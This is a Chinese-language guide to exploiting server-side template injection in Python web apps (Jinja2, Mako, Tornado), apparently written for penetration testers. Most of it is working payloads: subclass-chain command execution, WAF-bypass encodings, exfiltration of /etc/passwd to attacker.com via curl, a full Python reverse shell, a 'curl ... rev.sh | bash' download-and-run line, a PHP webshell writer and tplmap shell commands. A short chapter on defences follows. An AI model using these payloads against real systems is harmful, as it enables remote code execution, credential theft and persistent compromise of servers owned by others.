Python安全深度剖析:SSTI模板注入与自动化利用指南

第一章:Web模板引擎与SSTI基础

1.1 什么是模板引擎?

模板引擎是一种将动态数据嵌入静态模板文件,最终生成 HTML 或其他文本格式的技术。在 Python Web 开发中,常见的模板引擎包括:

  • Jinja2:Flask、FastAPI(通过 jinja2)默认使用,功能强大,语法类似 Django。

  • Mako:Pylons、Pyramid 等框架使用,语法灵活。

  • Tornado:自带模板引擎。

  • Django:自带模板引擎(Django Templates),安全机制相对严格。

1.2 SSTI(服务器端模板注入)原理

当开发者错误地将用户输入直接拼接进模板字符串,或使用render_template_string等函数且未对输入进行过滤时,攻击者可以注入模板语法,在服务器端执行任意代码。

典型危险代码(Flask + Jinja2):

python

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/hello') def hello(): name = request.args.get('name', 'World') template = "<h1>Hello, " + name + "!</h1>" return render_template_string(template)

攻击者访问/hello?name={{7*7}},页面输出49,证明存在 SSTI。

1.3 注入点定位

SSTI 常出现在:

  • URL 参数

  • POST 表单数据

  • HTTP 头(User-Agent、X-Forwarded-For 等)

  • Cookie 值

  • 文件上传内容(如果文件名或内容被模板渲染)

测试Payload:

jinja2

{{ 7*7 }} {{ 7*'7' }} ${7*7} {{config}} {{self}}

第二章:Python SSTI 利用链深度解析

2.1 Python 对象模型与继承链

在 Python 中,一切都是对象。利用 SSTI 的核心是通过__class____base____mro____subclasses__()等魔法属性,从任意基础对象(如字符串、空列表)出发,找到可执行系统命令的类。

经典利用链(Jinja2):

python

''.__class__.__mro__[1].__subclasses__()
2.1.1 关键属性解释
属性作用
__class__返回对象所属的类
__bases__/__base__返回类的父类元组
__mro__方法解析顺序,可用于获取继承链
__subclasses__()返回类的所有子类列表
__globals__返回函数所在模块的全局变量字典,常包含危险函数
__builtins__内建函数模块,包含evalexecopen
2.1.2 子类索引定位法

获取所有子类后,需要找到能够执行命令的类。常见的“万能类”有:

  • <class 'os._wrap_close'>(包含os模块)

  • <class 'warnings.catch_warnings'>(包含__builtins__

  • <class 'subprocess.Popen'>(直接执行命令)

查找命令执行类的脚本:

python

for i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()): if 'os' in str(cls.__init__.__globals__.get('os', '')): print(i, cls)

2.2 Jinja2 专用利用技巧

2.2.1config对象

在 Flask + Jinja2 中,{{config}}可以直接访问应用配置,甚至可能泄露 SECRET_KEY。

2.2.2selfrequest对象
  • {{self.__class__.__mro__[1].__subclasses__()}}

  • {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

2.2.3 过滤器滥用

Jinja2 的过滤器本质是 Python 函数,可以调用:

jinja2

{{ ''.__class__.__mro__[1].__subclasses__()|attr('__getitem__')(133) }}

2.3 Mako 模板注入

Mako 使用${...}作为表达式标记,利用方式更直接:

python

${__import__('os').system('whoami')}

Mako 还允许直接调用context对象:

python

${context['__import__']('os').system('id')}

2.4 Tornado 模板注入

Tornado 模板默认会转义输出,但使用{% raw %}{{ ... }}时仍可能注入:

python

{{ __import__("os").system("ls") }}

第三章:高级利用与绕过技术

3.1 绕过 WAF 与黑名单

很多 WAF 会过滤__class____subclasses__ossystem等关键词。

3.1.1 字符串拼接

jinja2

{{''['__cla'+'ss__']}}
3.1.2 使用request参数传递

jinja2

{{request['__cl'+'ass__']}}

或通过 GET 参数:

text

{{ request.args.__class__ }}
3.1.3 利用attr()过滤器

jinja2

{{ ''.__class__|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}
3.1.4 利用|join绕过

jinja2

{{''['__class__']}}

等价于:

jinja2

{{''|attr('__class__')}}
3.1.5 编码与 Unicode 混淆

某些情况下,可以使用 Unicode 等价字符:

  • __class____cl\u0061ss__

  • 十六进制:\x5f\x5fclass\x5f\x5f

3.2 无回显利用

当页面没有直接输出时,可以通过 DNSLog、HTTP 请求、写文件等方式获取执行结果。

3.2.1 使用requests发送数据

python

{{().__class__.__mro__[1].__subclasses__()[440]('curl http://attacker.com/?data=$(cat /etc/passwd | base64)',shell=True)}}

(索引可能因 Python 版本而异)

3.2.2 通过socket建立反向 Shell

python

{{().__class__.__mro__[1].__subclasses__()[440]('python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'attacker.com\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\'/bin/bash\',\' -i\'])"',shell=True)}}

3.3 Python 沙盒逃逸

某些情况下,模板运行在受限环境中(如eval被禁用、__builtins__被清空),需要更复杂的逃逸。

3.3.1 通过__builtins__恢复

python

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__['__builtins__']['__import__']('os').system('id')}}
3.3.2 通过warnings.catch_warnings__init__

python

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').system('id')")}}{% endif %}{% endfor %}

3.4 利用os.environsubprocess

os.system被禁用时,可以尝试:

  • os.popen+.read()

  • subprocess.Popen

  • subprocess.check_output

python

{{''.__class__.__mro__[1].__subclasses__()[440]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}

第四章:自动化工具与项目实践

4.1 Tplmap:SSTI 自动化检测与利用

Tplmap 是专门针对 SSTI 的渗透测试工具,支持 Jinja2、Mako、Tornado 等多种引擎。

安装:

bash

git clone https://github.com/epinna/tplmap cd tplmap pip install -r requirements.txt

基本使用:

bash

# 检测 python tplmap.py -u "http://target.com/hello?name=*" # 指定注入点 python tplmap.py -u "http://target.com/hello?name=*" --os-cmd "id" # 获取交互式 Shell python tplmap.py -u "http://target.com/hello?name=*" --os-shell

高级用法:

  • --engine:手动指定模板引擎(如 Jinja2)

  • --level:设置检测深度(1-5)

  • --upload:上传文件

4.2 自定义 Burp Suite 插件

使用 Burp 的 Intruder 配合字典批量测试 SSTI Payload。推荐使用Turbo Intruder进行高并发测试。

4.3 其他辅助工具

  • Jinja2-tester:本地快速验证 Payload

  • SSTImap:Tplmap 的升级版,支持更多引擎和特性

  • Python SSTI Payload Generator:自动生成 Payload 脚本

4.4 实战项目:搭建脆弱环境

使用 Docker 搭建 Flask + Jinja2 脆弱应用:

dockerfile

FROM python:3.8-slim RUN pip install flask COPY app.py /app.py CMD ["python", "/app.py"]

app.py(存在 SSTI):

python

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'Guest') template = f"<h1>Hello {name}</h1>" return render_template_string(template) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)

第五章:防御措施与安全编码

5.1 根本解决方案

  1. 永远不要使用render_template_string拼接用户输入

  2. 使用render_template并传入上下文变量。

    python

    return render_template('hello.html', name=name)
  3. 启用 Jinja2 沙箱(sandboxed=True),但注意沙箱并非完全安全。

5.2 输入过滤与白名单

  • 对用户输入进行严格过滤,只允许字母数字。

  • 使用正则表达式限制模板变量名。

5.3 使用安全配置

python

app.jinja_env.globals.update(__builtins__={}) # 移除内置函数 app.jinja_env.autoescape = True # 开启自动转义

5.4 升级依赖

定期更新 Flask、Jinja2 等依赖,避免已知绕过漏洞。

5.5 使用 WAF 规则

部署 ModSecurity 等 WAF,配置规则拦截__class____subclasses__等关键词。


第六章:实战案例深度分析

案例一:Flask 应用 RCE

场景:某博客应用允许用户自定义页面标题,开发者使用render_template_string拼接标题。

Payload:

text

{{''.__class__.__mro__[1].__subclasses__()[440]('cat /flag.txt',shell=True,stdout=-1).communicate()[0]}}

结果:获取服务器 flag。

案例二:绕过黑名单过滤

场景:WAF 拦截了__class__ossystem等关键词。

绕过 Payload:

jinja2

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

案例三:Mako 模板注入

场景:某网站使用 Mako 渲染错误页面,将异常信息传入模板。

Payload:

python

${self.module.cache.util.os.system('curl http://attacker.com/rev.sh | bash')}

结果:反弹 Shell。


第七章:附录

7.1 Python 各版本通用 Payload 索引

以下 Payload 在不同 Python 版本中可能索引不同,需动态测试:

目标Payload 示例
获取所有子类''.__class__.__mro__[1].__subclasses__()
执行命令 (os.system)[].__class__.__base__.__subclasses__()[140].__init__.__globals__['system']('id')
执行命令 (subprocess)[].__class__.__base__.__subclasses__()[137]('id', shell=True, stdout=-1).communicate()
读文件().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
写 WebShell[].__class__.__base__.__subclasses__()[40]('/tmp/shell.php','w').write('<?php eval($_GET[1]);?>')

7.2 常见子类索引(Python 3.8+)

  • os._wrap_close:索引约 140-160

  • subprocess.Popen:索引约 400-450

  • warnings.catch_warnings:索引约 170-190

7.3 学习资源

  • Jinja2 官方文档

  • PortSwigger SSTI 教程

  • SSTI 利用 Wiki